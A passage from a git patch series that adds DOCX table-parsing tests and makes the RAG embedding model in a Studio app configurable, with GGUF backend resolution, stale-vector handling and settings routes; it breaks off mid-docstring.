3) + table.cell(0, 0).text = "A" + table.cell(0, 1).text = "" # empty middle cell + table.cell(0, 2).text = "C" + multiline = table.cell(1, 0) + multiline.text = "line1" + multiline.add_paragraph("line2") # cell now holds an internal newline + table.cell(1, 1).text = "mid" + table.cell(1, 2).text = "end" + path = tmp_path / "aligned.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "A | | C" in text # empty cell preserved -> columns line up + assert "line1 line2 | mid | end" in text # internal newline collapsed to a space + + +def test_docx_table_merged_cell_keeps_grid_alignment(tmp_path): + # A horizontally merged cell repeats across the spanned columns: emit its text once + # then a placeholder, so the row keeps as many fields as its siblings (columns stay + # aligned) without duplicating the merged text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "WIDE" + table.cell(0, 2).text = "END" + table.cell(0, 0).merge(table.cell(0, 1)) # span the first two columns + table.cell(1, 0).text = "a" + table.cell(1, 1).text = "b" + table.cell(1, 2).text = "c" + path = tmp_path / "merged.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("WIDE") == 1 # merged cell not duplicated across spanned columns + assert "WIDE | | END" in text # placeholder keeps 3 fields, aligned with "a | b | c" + assert "a | b | c" in text + + +def test_docx_table_pads_omitted_grid_columns(tmp_path): + # A row that skips leading grid columns exposes the gap via grid_cols_before; pad it + # with empty fields so the value stays under the right header instead of shifting left. + pytest.importorskip("docx") + import docx + from docx.oxml.ns import qn + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 2, cols = 3) + table.cell(0, 0).text = "H1" + table.cell(0, 1).text = "H2" + table.cell(0, 2).text = "H3" + tr = table.rows[1]._tr # drop the first cell and mark it skipped via + tr.remove(tr.tc_lst[0]) + trPr = tr.get_or_add_trPr() + trPr.insert(0, trPr.makeelement(qn("w:gridBefore"), {qn("w:val"): "1"})) + table.rows[1].cells[0].text = "X" # sits in column 2 + path = tmp_path / "gap.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert " | X | " in text # leading gap padded so X lines up under H2, not H1 + + +def test_docx_flattens_nested_table(tmp_path): + # cell.text ignores tables nested inside a cell; walk cell.tables so nested rows are + # not silently dropped from the indexed text. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + outer = document.add_table(rows = 1, cols = 1).cell(0, 0) + outer.text = "outer" + nested = outer.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + path = tmp_path / "nested.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert "NESTED-A | NESTED-B" in text # nested table flattened, not dropped + + +def test_docx_nested_table_keeps_in_cell_order(tmp_path): + # A cell holding paragraph, nested table, paragraph must serialize in that order + # (cell.text alone would emit both paragraphs before the nested rows). + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + cell = document.add_table(rows = 1, cols = 1).cell(0, 0) + cell.text = "before" + nested = cell.add_table(rows = 1, cols = 2) + nested.cell(0, 0).text = "NESTED-A" + nested.cell(0, 1).text = "NESTED-B" + cell.add_paragraph("after") + path = tmp_path / "nested_order.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.index("before") < text.index("NESTED-A") < text.index("after") + + +def test_docx_table_vertical_merge_emitted_once(tmp_path): + # A vertically merged cell maps every continuation row back to the origin ; + # emit it once and leave placeholders below so a row-spanning label isn't repeated. + pytest.importorskip("docx") + import docx + + from core.rag import parsers + + document = docx.Document() + table = document.add_table(rows = 3, cols = 2) + table.cell(0, 0).merge(table.cell(1, 0)).merge(table.cell(2, 0)).text = "SECTION" + table.cell(0, 1).text = "r0" + table.cell(1, 1).text = "r1" + table.cell(2, 1).text = "r2" + path = tmp_path / "vmerge.docx" + document.save(str(path)) + + text = "\n".join(p.text for p in parsers.parse(str(path))) + assert text.count("SECTION") == 1 # not repeated on each spanned row + assert "SECTION | r0" in text and " | r1" in text and " | r2" in text From 4f24b12cc933db37457a9630d4db4fd799af5a13 Mon Sep 17 00:00:00 2001 From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com> Date: Thu, 2 Jul 2026 05:26:33 -0700 Subject: [PATCH 10/27] Studio: customizable RAG embedding model with HF search, settings tab reorganization (#6800) * Add customizable RAG embedding model setting and reorganize settings tabs Chat with files, project sources, and knowledge bases previously always embedded with unsloth/bge-small-en-v1.5. This adds a Settings option to pick any Hugging Face embedding model (or local path), with HF search autocomplete, server-side verification that the repo is actually an embedding model, and a save anyway escape hatch for offline or local models. The setting persists in app_settings and applies at runtime to both the sentence-transformers and llama-server GGUF embedder backends without a restart. Also reorganizes the General settings tab: Documents & RAG sits above Uploads, Helper LLM moved above the danger zone, and Model auto-switch (OpenAI API) moved to the bottom of the API tab. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Support local model paths on the GGUF embedder and normalize default saves Found by simulation testing of the embedding model setting: Local paths saved as the embedding model now work on the llama-server GGUF backend (the default backend on macOS and CPU). A path to a .gguf file is used directly and a directory is scanned for a variant-matching non-mmproj .gguf, with a clear error when none exists. Previously a local path was sent to the HF hub API and failed with a repo lookup error. Saving the default model explicitly no longer stores an override, so is_custom stays false and the UI does not show a reset button for the default value. * Address review: stale-vector handling, GGUF derivation, save-time guards Review follow-ups, each verified by new tests: Re-uploading a document after an embedding model change now re-indexes instead of deduping by content hash. Documents record the embedder that produced their vectors (lazy embedding_model column, NULL legacy rows keep deduping) and a mismatch replaces the old document. A vector width change no longer bricks the dense index. ensure_vec drops and recreates chunks_vec when the dim changes (old vectors are in a foreign space and only block inserts) and search_dense returns empty on a width mismatch instead of surfacing a vec0 error, so lexical search keeps working until documents are re-uploaded. Saving a local sentence-transformers folder with no .gguf now returns 409 with a clear message when the install embeds via llama-server, instead of failing at first index. force still saves. A custom RAG_EMBEDDING_MODEL env without RAG_EMBED_GGUF_REPO now derives the -GGUF companion repo instead of silently keeping the bge GGUF on CPU and macOS installs. The resolved GGUF path is tagged with the repo captured at entry, so a setting change during a download cannot mark the old model as current. GGUF repo detection matches gguf as a whole name segment rather than a substring, hf_token is trimmed before verification, and the settings combobox drops a redundant state mirror of its controlled value. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Shrink embedding model font to 11px in the input and dropdown The combobox wrapper applies className to the outer input group, so the size utility must target the inner input element; the previous text-xs never reached it and the field rendered at the browser default. * Show curated unsloth embedding models when the search field is empty The empty-query listing was the global top-downloads page, which holds no unsloth mirrors for the unsloth-first float to reorder, so the dropdown opened on third-party models. Match the model picker: curated unsloth listing when empty, whole-Hub search once a query is typed. * Address review: settings resilience and index consistency Keep the last known embedding model on settings store errors, remove the re-entrant dim lock in the llama-server backend, accept local GGUF saves and verify GGUF availability for HF repos on that backend, match local path embedders exactly in model list filters, drop same-width stale vectors from dense search, pin the embedder per ingestion job, and only replace completed documents after the re-index succeeds. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Consolidate the GGUF repo derivation tests * Trim to a single core embedding-model test * Address review: GGUF repo saves and cache race Accept a GGUF-named HF repo on the llama-server backend by verifying GGUF availability instead of the sentence-transformers metadata gate, and guard the settings cache with a generation counter so a read overlapping a save cannot repopulate it with the pre-save value. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- studio/backend/core/rag/config.py | 41 +++- studio/backend/core/rag/embed_llama_server.py | 107 +++++++-- studio/backend/core/rag/embeddings.py | 2 +- studio/backend/core/rag/ingestion.py | 45 +++- studio/backend/core/rag/retrieval.py | 8 +- studio/backend/core/rag/store.py | 40 +++- studio/backend/routes/models.py | 39 ++- studio/backend/routes/rag.py | 2 +- studio/backend/routes/settings.py | 191 ++++++++++++++- studio/backend/storage/rag_db.py | 33 ++- .../tests/test_embedding_model_settings.py | 55 +++++ .../tests/test_rag_embed_llama_server.py | 2 + .../backend/utils/embedding_model_settings.py | 124 ++++++++++ .../features/settings/api/embedding-model.ts | 82 +++++++ .../components/embedding-model-combobox.tsx | 134 +++++++++++ .../features/settings/tabs/api-keys-tab.tsx | 3 + .../features/settings/tabs/general-tab.tsx | 225 +++++++++++++++--- studio/frontend/src/i18n/locales/en.ts | 14 ++ 18 files changed, 1072 insertions(+), 75 deletions(-) create mode 100644 studio/backend/tests/test_embedding_model_settings.py create mode 100644 studio/backend/utils/embedding_model_settings.py create mode 100644 studio/frontend/src/features/settings/api/embedding-model.ts create mode 100644 studio/frontend/src/features/settings/components/embedding-model-combobox.tsx diff --git a/studio/backend/core/rag/config.py b/studio/backend/core/rag/config.py index 54a224d081..2de32a68e4 100644 --- a/studio/backend/core/rag/config.py +++ b/studio/backend/core/rag/config.py @@ -6,8 +6,10 @@ from __future__ import annotations import os +import re -EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", "unsloth/bge-small-en-v1.5") +DEFAULT_EMBEDDING_MODEL = "unsloth/bge-small-en-v1.5" +EMBEDDING_MODEL = os.environ.get("RAG_EMBEDDING_MODEL", DEFAULT_EMBEDDING_MODEL) # Under bge's 512 limit, leaving headroom for the 2 special tokens (else overflow: # llama-server 500s, ST truncates). Keep <= embedder_max - ~12. CHUNK_TOKENS = int(os.environ.get("RAG_CHUNK_TOKENS", "500")) @@ -66,6 +68,43 @@ OCR_MAX_TOKENS = int(os.environ.get("RAG_OCR_MAX_TOKENS", "2048")) # wins bulk indexing), else torch-free GGUF llama-server. Switching backends changes # the vectors, so the index must be rebuilt. EMBED_BACKEND = os.environ.get("RAG_EMBED_BACKEND", "auto") + + +def effective_embedding_model() -> str: + """The embedding model actually in use: the persisted Settings override when + one is stored, else ``EMBEDDING_MODEL`` (env/default). Read at call time so a + Settings change applies without a restart.""" + try: + from utils.embedding_model_settings import get_rag_embedding_model + return get_rag_embedding_model() + except Exception: # noqa: BLE001 - settings store unavailable (tests, early boot) + return EMBEDDING_MODEL + + +def _names_gguf(model: str) -> bool: + """True when "gguf" appears as a whole name segment, so plain substrings + like "bigguf" don't count.""" + return "gguf" in re.split(r"[^a-z0-9]+", model.lower()) + + +def effective_gguf_repo() -> str: + """GGUF repo for the llama-server backend, tracking the effective model. + + An explicit ``RAG_EMBED_GGUF_REPO`` env always wins. Otherwise any custom + model (saved in Settings or via ``RAG_EMBEDDING_MODEL``) maps to its + ``-GGUF`` companion repo (the unsloth convention the default pair follows), + or is used as-is when it already names a GGUF repo. + """ + if "RAG_EMBED_GGUF_REPO" in os.environ: + return EMBED_GGUF_REPO + model = effective_embedding_model() + if model == DEFAULT_EMBEDDING_MODEL: + return EMBED_GGUF_REPO + if _names_gguf(model): + return model + return f"{model}-GGUF" + + # llama-server backend only. F16 over Q8_0: faster (no per-block dequant for this # tiny model) and exact vs fp32, for ~30MB more on disk. EMBED_GGUF_REPO = os.environ.get("RAG_EMBED_GGUF_REPO", "unsloth/bge-small-en-v1.5-GGUF") diff --git a/studio/backend/core/rag/embed_llama_server.py b/studio/backend/core/rag/embed_llama_server.py index f53478463c..46a282c939 100644 --- a/studio/backend/core/rag/embed_llama_server.py +++ b/studio/backend/core/rag/embed_llama_server.py @@ -55,9 +55,15 @@ class LlamaServerBackend: self._port: int | None = None self._stdout_lines: list[str] = [] self._stdout_thread: threading.Thread | None = None + # No lock: probes are idempotent (a duplicate 1-text encode is benign) + # and dim() -> encode() -> _ensure_ready() -> _resolve_model_path() can + # re-enter on a mid-probe model change, which would self-deadlock a + # non-reentrant lock held across the probe. self._dim: int | None = None - self._dim_lock = threading.Lock() self._model_path: str | None = None + # Effective GGUF repo the cached path/dim belong to; a Settings change + # makes it stale, forcing a re-resolve + respawn (see _ensure_ready). + self._model_repo: str | None = None self._binary: str | None = None # Sticky after an auto GPU start fails: later spawns stay on CPU. self._force_cpu = False @@ -114,24 +120,77 @@ class LlamaServerBackend: "RAG_EMBED_BACKEND=llama-server requires an embeddings-capable build" ) + @staticmethod + def _resolve_local_gguf(model: str) -> str | None: + """A custom model may be a local .gguf file or a directory holding one; + resolve it without the hub. None when the value is not a local path.""" + p = Path(model).expanduser() + if p.is_file() and p.suffix.lower() == ".gguf": + return str(p) + if p.is_dir(): + files = [ + f + for f in p.iterdir() + if f.suffix.lower() == ".gguf" and "mmproj" not in f.name.lower() + ] + if not files: + raise RuntimeError(f"no .gguf file found in local model dir {model!r}") + variant = config.EMBED_GGUF_VARIANT.lower() + match = [f for f in files if variant in f.name.lower()] or files + return str(sorted(match, key = lambda f: len(f.name))[0]) + return None + def _resolve_model_path(self) -> str: """Download (or cache-hit) the variant-matching, non-mmproj GGUF embedder, - returning its local path.""" - if self._model_path is not None: + returning its local path. Re-resolves when the effective repo changed (a + custom model was saved in Settings).""" + # Captured once: if the setting changes mid-download, the path must stay + # tagged with the repo it was resolved FOR, so _current() sees the new + # setting as stale and respawns instead of serving the old model. + desired = config.effective_gguf_repo() + if self._model_path is not None and self._model_repo == desired: + return self._model_path + local = self._resolve_local_gguf(config.effective_embedding_model()) + if local is not None: + self._model_path = local + self._model_repo = desired + self._dim = None return self._model_path from huggingface_hub import hf_hub_download, list_repo_files - repo = config.EMBED_GGUF_REPO token = os.environ.get("HF_TOKEN") or None - files = [f for f in list_repo_files(repo, token = token) if f.lower().endswith(".gguf")] - files = [f for f in files if "mmproj" not in f.lower()] + # A custom model derives its "-GGUF" companion repo; when that guess does + # not exist, the model repo itself may host the .gguf files. + repo = desired + candidates = [repo] + model = config.effective_embedding_model() + if model != repo: + candidates.append(model) + files: list[str] = [] + errors: list[str] = [] + for candidate in candidates: + try: + files = [ + f + for f in list_repo_files(candidate, token = token) + if f.lower().endswith(".gguf") and "mmproj" not in f.lower() + ] + except Exception as e: # noqa: BLE001 - missing/gated repo -> next candidate + errors.append(f"{candidate!r}: {e}") + continue + if files: + repo = candidate + break + errors.append(f"{candidate!r}: no .gguf files") if not files: - raise RuntimeError(f"no .gguf file found in embedder repo {repo!r}") + raise RuntimeError("no .gguf embedder found; tried " + "; ".join(errors)) variant = config.EMBED_GGUF_VARIANT.lower() match = [f for f in files if variant in f.lower()] or files filename = sorted(match, key = len)[0] logger.info("resolving GGUF embedder %s/%s", repo, filename) self._model_path = hf_hub_download(repo_id = repo, filename = filename, token = token) + self._model_repo = desired + self._dim = None return self._model_path # Min free VRAM (MiB) for the embedder; below this, auto stays on CPU. @@ -316,13 +375,19 @@ class LlamaServerBackend: def _process_alive(self) -> bool: return self._process is not None and self._process.poll() is None + def _current(self) -> bool: + """Alive AND serving the effective repo (a Settings model change makes a + live server stale).""" + return self._process_alive() and self._model_repo == config.effective_gguf_repo() + def _ensure_ready(self) -> None: - """Guarantee a live server, (re)spawning if needed. Double-checked so the - alive path takes no lock; self-heals after the chat reaper kills us.""" - if self._process_alive(): + """Guarantee a live server on the effective model, (re)spawning if needed. + Double-checked so the current path takes no lock; self-heals after the + chat reaper kills us and re-resolves after a Settings model change.""" + if self._current(): return with self._lifecycle_lock: - if self._process_alive(): + if self._current(): return self._kill_process() self._spawn() @@ -424,14 +489,18 @@ class LlamaServerBackend: return arr def dim(self, *, model_name = None) -> int: - """Embedding width, probed once via a 1-text encode and cached.""" - if self._dim is not None: - return self._dim - with self._dim_lock: - if self._dim is None: - vec = self.encode(["x"], normalize = False) - self._dim = int(vec.shape[1]) - return self._dim + """Embedding width, probed via a 1-text encode and cached per model + (_resolve_model_path clears it when the effective repo changes). + Unlocked: concurrent probes are benign, and locking would deadlock when + the probe's encode respawns onto a changed model (see __init__).""" + self._ensure_ready() + cached = self._dim + if cached is not None: + return cached + vec = self.encode(["x"], normalize = False) + width = int(vec.shape[1]) + self._dim = width + return width def warm(self, *, model_name = None) -> None: """Start the server and probe dim off the request path.""" diff --git a/studio/backend/core/rag/embeddings.py b/studio/backend/core/rag/embeddings.py index 4c8d690302..345b4dd853 100644 --- a/studio/backend/core/rag/embeddings.py +++ b/studio/backend/core/rag/embeddings.py @@ -67,7 +67,7 @@ def _get(model_name: str | None = None): """Cached SentenceTransformer, (re)loading on a name change. Loaded in fp16 for a ~1.5x speedup at negligible accuracy loss.""" global _model, _name - name = model_name or config.EMBEDDING_MODEL + name = model_name or config.effective_embedding_model() with _lock: if _model is None or _name != name: _install_torchao_stub_once() diff --git a/studio/backend/core/rag/ingestion.py b/studio/backend/core/rag/ingestion.py index 04365ab76b..cba076f1be 100644 --- a/studio/backend/core/rag/ingestion.py +++ b/studio/backend/core/rag/ingestion.py @@ -151,6 +151,19 @@ def _ocr_scanned_pages( return out, ocred +def _replace_old_document(conn, replaces: tuple[str, str | None] | None, keep_path: str) -> None: + """Drop the document this ingestion replaced (stale embedder / empty prior + ingest), called only after the replacement completed successfully.""" + if replaces is None: + return + old_id, old_path = replaces + try: + store.delete_document(conn, old_id) + _remove_upload(old_path, keep_path = keep_path) + except Exception: # noqa: BLE001 - the new document is already live + logger.warning("failed to remove replaced document %s", old_id, exc_info = True) + + def _run( job_id: str, document_id: str, @@ -159,6 +172,7 @@ def _run( model_name: str | None, ocr: bool | None = None, caption: bool | None = None, + replaces: tuple[str, str | None] | None = None, ) -> None: conn = rag_db.get_connection() try: @@ -213,6 +227,7 @@ def _run( ) if not chunks: store.set_document_status(conn, document_id, "completed", num_chunks = 0) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": 0}) return @@ -233,6 +248,7 @@ def _run( _progress(conn, job_id, "storing", 0.9) store.add_chunks(conn, scope, document_id, chunks, vectors, regions) store.set_document_status(conn, document_id, "completed", num_chunks = len(chunks)) + _replace_old_document(conn, replaces, stored_path) _set_job(conn, job_id, status = "completed", stage = "done", progress = 1.0) _emit(job_id, {"type": "complete", "num_chunks": len(chunks)}) @@ -274,17 +290,32 @@ def start_ingestion( sha = _sha256_file(stored_path) conn = rag_db.get_connection() try: + effective_model = model_name or config.effective_embedding_model() + # (old_document_id, old_stored_path) replaced by this upload; deleted by + # the worker only after the replacement completes, so a failed re-index + # never destroys the still-searchable original. + replaces: tuple[str, str | None] | None = None existing = store.document_by_hash(conn, scope, sha) if existing is not None: doc = store.get_document(conn, existing) empty_completed = ( doc is not None and doc.get("status") == "completed" and not doc.get("num_chunks") ) - if empty_completed: + # Vectors from a different embedder are stale; re-uploading must + # re-index, not dedupe. NULL (legacy rows) is assumed current. Only + # completed rows are replaceable: a pending/running duplicate has a + # live worker whose writes must not land on a deleted document. + stale_model = ( + doc is not None + and doc.get("status") == "completed" + and doc.get("embedding_model") is not None + and doc.get("embedding_model") != effective_model + ) + if empty_completed or stale_model: # A prior ingest of identical bytes yielded zero chunks (e.g. a scanned - # PDF uploaded before a vision model loaded). Re-ingest, don't dedupe. - store.delete_document(conn, existing) - _remove_upload(doc.get("stored_path"), keep_path = stored_path) + # PDF uploaded before a vision model loaded), or was embedded with a + # different model. Re-ingest, don't dedupe. + replaces = (existing, doc.get("stored_path")) else: job_id = _new_job(conn, existing, scope, status = "completed", progress = 1.0) _remove_upload(stored_path) @@ -310,6 +341,7 @@ def start_ingestion( project_id = project_id, status = "pending", stored_path = stored_path, + embedding_model = effective_model, ) job_id = _new_job(conn, document_id, scope) finally: @@ -319,7 +351,10 @@ def start_ingestion( _jobs[job_id] = queue.Queue() threading.Thread( target = _run, - args = (job_id, document_id, scope, stored_path, model_name, ocr, caption), + # effective_model (not the raw model_name) pins the embedder for the + # whole job: a Settings change mid-ingestion must not switch tokenizer + # or embedder between batches of one document. + args = (job_id, document_id, scope, stored_path, effective_model, ocr, caption, replaces), daemon = True, ).start() return document_id, job_id diff --git a/studio/backend/core/rag/retrieval.py b/studio/backend/core/rag/retrieval.py index fe6a033a52..6f933e089e 100644 --- a/studio/backend/core/rag/retrieval.py +++ b/studio/backend/core/rag/retrieval.py @@ -39,8 +39,12 @@ def retrieve_dense( model_name: str | None = None, ) -> list[Hit]: k = k or config.TOP_K_DENSE - vec = embeddings.encode([query], model_name = model_name, normalize = True)[0] - return [Hit(cid, s, dense_score = s) for cid, s in store.search_dense(conn, scope, vec, k)] + effective = model_name or config.effective_embedding_model() + vec = embeddings.encode([query], model_name = effective, normalize = True)[0] + return [ + Hit(cid, s, dense_score = s) + for cid, s in store.search_dense(conn, scope, vec, k, embedding_model = effective) + ] def _rrf(rankings: list[list[Hit]], rrf_k: int, top_k: int) -> list[Hit]: diff --git a/studio/backend/core/rag/store.py b/studio/backend/core/rag/store.py index 8e59c5fbf6..f9128d1715 100644 --- a/studio/backend/core/rag/store.py +++ b/studio/backend/core/rag/store.py @@ -109,11 +109,12 @@ def create_document( status: str = "pending", stored_path: str | None = None, document_id: str | None = None, + embedding_model: str | None = None, ) -> str: document_id = document_id or str(uuid.uuid4()) conn.execute( "INSERT INTO documents(id, scope, kb_id, thread_id, project_id, filename, sha256, " - "status, stored_path, created_at) VALUES(?,?,?,?,?,?,?,?,?,?)", + "status, stored_path, created_at, embedding_model) VALUES(?,?,?,?,?,?,?,?,?,?,?)", ( document_id, scope, @@ -125,6 +126,7 @@ def create_document( status, stored_path, _now(), + embedding_model, ), ) conn.commit() @@ -261,20 +263,50 @@ def search_lexical(conn: sqlite3.Connection, scope, query: str, k: int): return [(r["chunk_id"], -r["s"]) for r in rows] -def search_dense(conn: sqlite3.Connection, scope, vector, k: int): +def search_dense( + conn: sqlite3.Connection, + scope, + vector, + k: int, + *, + embedding_model: str | None = None, +): """Cosine KNN over vec0 for one scope or several. Returns [(chunk_id, 1 - distance)]. vec0 KNN constrains its partition key by - equality, so multi-scope runs one query per scope and merges by score.""" + equality, so multi-scope runs one query per scope and merges by score. + ``embedding_model`` drops hits from documents indexed under a different + (same-width) model, whose vectors live in another space; NULL-model legacy + documents are assumed current, matching the ingestion dedupe rule.""" if not rag_db.vec_table_exists(conn): return [] + dim = rag_db.vec_table_dim(conn) + if dim is not None and dim != len(vector): + # Embedding model switched widths and nothing re-indexed yet; the stale + # table cannot answer new-model queries (vec0 errors on the MATCH). + return [] + # Over-fetch when filtering so stale-model hits don't starve the top-k. + fetch = k * 3 if embedding_model else k out: list[tuple[str, float]] = [] for s in _scopes(scope): rows = conn.execute( "SELECT chunk_id, distance FROM chunks_vec " "WHERE scope=? AND embedding MATCH ? ORDER BY distance LIMIT ?", - (s, _f32(vector), k), + (s, _f32(vector), fetch), ).fetchall() out.extend((r["chunk_id"], 1.0 - r["distance"]) for r in rows) + if embedding_model and out: + ids = [cid for cid, _ in out] + placeholders = ",".join("?" * len(ids)) + valid = { + r["id"] + for r in conn.execute( + f"SELECT c.id FROM chunks c JOIN documents d ON d.id=c.document_id " + f"WHERE c.id IN ({placeholders}) " + f"AND (d.embedding_model IS NULL OR d.embedding_model=?)", + (*ids, embedding_model), + ).fetchall() + } + out = [t for t in out if t[0] in valid] out.sort(key = lambda t: t[1], reverse = True) return out[:k] diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py index 7c75e85227..1501868860 100644 --- a/studio/backend/routes/models.py +++ b/studio/backend/routes/models.py @@ -7,6 +7,7 @@ import asyncio import hashlib import json import os +import re import shutil import sys import uuid @@ -58,25 +59,51 @@ def _safe_is_dir(path) -> bool: return False +# Hub repo id shape ("owner/name", no leading separator); anything else is +# treated as a local filesystem path. +_HF_REPO_ID_RE = re.compile(r"^[A-Za-z0-9][\w.\-]*/[\w.\-]+$") + + def _is_hidden_model(*values: str | None) -> bool: """True if any id/path is the RAG embedding model (EMBEDDING_MODEL or EMBED_GGUF_REPO basename) or the llama.cpp install validation probe (ggml-org/models / stories260K), so pickers hide them (GGUF and non-GGUF). None are usable chat models; the probe can be cached as a side effect of installing the prebuilt llama-server and otherwise sorts smallest, so it - would be auto-selected.""" + would be auto-selected. A local-path embedder is matched by exact resolved + path only: a generic basename like "model" must not substring-hide + unrelated chat models.""" from core.rag import config as rag_config - needles = ( - rag_config.EMBEDDING_MODEL.split("/")[-1].lower(), - rag_config.EMBED_GGUF_REPO.split("/")[-1].lower(), + needles = [ # The validation probe's repo (matches the cached repo id) and its exact # filename (matches the on-disk path). The filename carries the .gguf so # it does not hide unrelated repos like ``user/stories260K-finetune-GGUF``. "ggml-org/models", "stories260k.gguf", - ) - return any(v and any(n in v.lower() for n in needles) for v in values) + ] + exact_paths: list[str] = [] + for model in ( + rag_config.effective_embedding_model(), + rag_config.effective_gguf_repo(), + ): + if _HF_REPO_ID_RE.match(model): + needles.append(model.split("/")[-1].lower()) + else: + resolved = _safe_resolve(Path(model).expanduser()) + if resolved: + exact_paths.append(resolved.lower()) + for v in values: + if not v: + continue + low = v.lower() + if any(n in low for n in needles): + return True + if exact_paths: + resolved = _safe_resolve(Path(v).expanduser()) + if resolved and resolved.lower() in exact_paths: + return True + return False def _safe_resolve(path: Path) -> Optional[str]: diff --git a/studio/backend/routes/rag.py b/studio/backend/routes/rag.py index 4e35fce3c2..e20fea74a3 100644 --- a/studio/backend/routes/rag.py +++ b/studio/backend/routes/rag.py @@ -167,7 +167,7 @@ def create_knowledge_base( conn, name = payload.name.strip(), description = (payload.description or None), - embedding_model = config.EMBEDDING_MODEL, + embedding_model = config.effective_embedding_model(), ) return {"id": kb_id, "name": payload.name.strip()} finally: diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index 0694ae31e0..862bce8be8 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -4,7 +4,7 @@ from typing import Literal, Optional from urllib.parse import unquote, urlsplit -from fastapi import APIRouter, Depends +from fastapi import APIRouter, Depends, HTTPException from pydantic import BaseModel, ConfigDict, Field, field_validator from auth.authentication import get_current_subject @@ -47,6 +47,15 @@ from utils.preview_sharing_settings import ( get_preview_sharing_enabled, set_preview_sharing_enabled, ) +from utils.embedding_model_settings import ( + MAX_EMBEDDING_MODEL_LENGTH, + default_embedding_model, + get_rag_embedding_model, + get_stored_embedding_model, + reset_rag_embedding_model, + set_rag_embedding_model, + validate_embedding_model, +) router = APIRouter() @@ -229,6 +238,186 @@ def update_openai_auto_switch_override( return ModelOverridesResponse(overrides = get_model_overrides()) +class EmbeddingModelPayload(BaseModel): + embedding_model: str = Field(..., min_length = 1, max_length = MAX_EMBEDDING_MODEL_LENGTH) + # Token for gated/private repos during verification (not stored). + hf_token: Optional[str] = Field(default = None, max_length = 512) + # Skip HF verification (offline installs, local paths HF can't see). + force: bool = False + + +class EmbeddingModelResponse(BaseModel): + embedding_model: str + default_embedding_model: str + is_custom: bool + + +def _embedding_model_response() -> EmbeddingModelResponse: + return EmbeddingModelResponse( + embedding_model = get_rag_embedding_model(), + default_embedding_model = default_embedding_model(), + is_custom = get_stored_embedding_model() is not None, + ) + + +def _llama_backend_active() -> bool: + """True when this install embeds via the llama-server (GGUF) backend.""" + from core.rag import config as rag_config + from core.rag import embeddings + + try: + raw = (rag_config.EMBED_BACKEND or "auto").strip().lower() + key = embeddings._resolve_auto() if raw in embeddings._AUTO_ALIASES else raw + except Exception: # noqa: BLE001 - backend probe must never block saving + return False + return key in embeddings._LLAMA_ALIASES + + +def _resolves_as_local_gguf(model: str) -> bool: + """True when ``model`` is a local .gguf file or a directory holding one, so + a save on the llama-server backend needs no HF verification (the artifact + itself is the proof).""" + from core.rag.embed_llama_server import LlamaServerBackend + try: + return LlamaServerBackend._resolve_local_gguf(model) is not None + except Exception: # noqa: BLE001 - dir without .gguf, filesystem oddity + return False + + +def _local_gguf_backend_error(model: str) -> str | None: + """409 detail when ``model`` is a local dir without a .gguf but this install + embeds via llama-server (macOS/CPU default), which needs one. A + sentence-transformers-only folder would verify fine yet fail at first index. + None when not applicable. ``force`` skips this check like HF verification.""" + from pathlib import Path + + if not Path(model).expanduser().is_dir(): + return None + from core.rag.embed_llama_server import LlamaServerBackend + + if not _llama_backend_active(): + return None + try: + LlamaServerBackend._resolve_local_gguf(model) + return None + except RuntimeError: + return ( + f"{model!r} contains no .gguf file, but this install embeds with the " + "llama-server backend which requires one. Add a GGUF file to the " + "folder or use a Hugging Face repo." + ) + except Exception: # noqa: BLE001 - filesystem oddity: don't block saving + return None + + +def _hf_gguf_backend_error(model: str, hf_token: Optional[str]) -> str | None: + """409 detail when the llama-server backend would find no .gguf for an HF + repo: neither the derived companion repo nor the repo itself has one. Saves + that verify as embedding models would otherwise fail at first index. + None when not applicable; ``force`` skips this like HF verification.""" + from pathlib import Path + + if Path(model).expanduser().exists(): + return None # local paths are handled by the local checks + if not _llama_backend_active(): + return None + from core.rag import config as rag_config + + candidates = [model] if rag_config._names_gguf(model) else [f"{model}-GGUF", model] + try: + from huggingface_hub import list_repo_files + except Exception: # noqa: BLE001 - hub client unavailable: don't block saving + return None + for candidate in candidates: + try: + files = list_repo_files(candidate, token = hf_token) + except Exception: # noqa: BLE001 - missing/gated repo: try next candidate + continue + if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files): + return None + checked = " or ".join(repr(c) for c in candidates) + return ( + f"No GGUF weights found in {checked}, but this install embeds with the " + "llama-server backend which requires them. Pick a model with a GGUF " + "companion repo or GGUF files in the repo itself." + ) + + +@router.get("/embedding-model", response_model = EmbeddingModelResponse) +def get_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + return _embedding_model_response() + + +@router.put("/embedding-model", response_model = EmbeddingModelResponse) +def update_embedding_model( + payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject) +) -> EmbeddingModelResponse: + """Set the RAG embedding model. Unless ``force`` is set, the repo is verified + to be an embedding model via HF metadata; an unverifiable model (wrong type, + typo, gated repo, or no network) returns 409 so the UI can offer "save anyway". + Documents 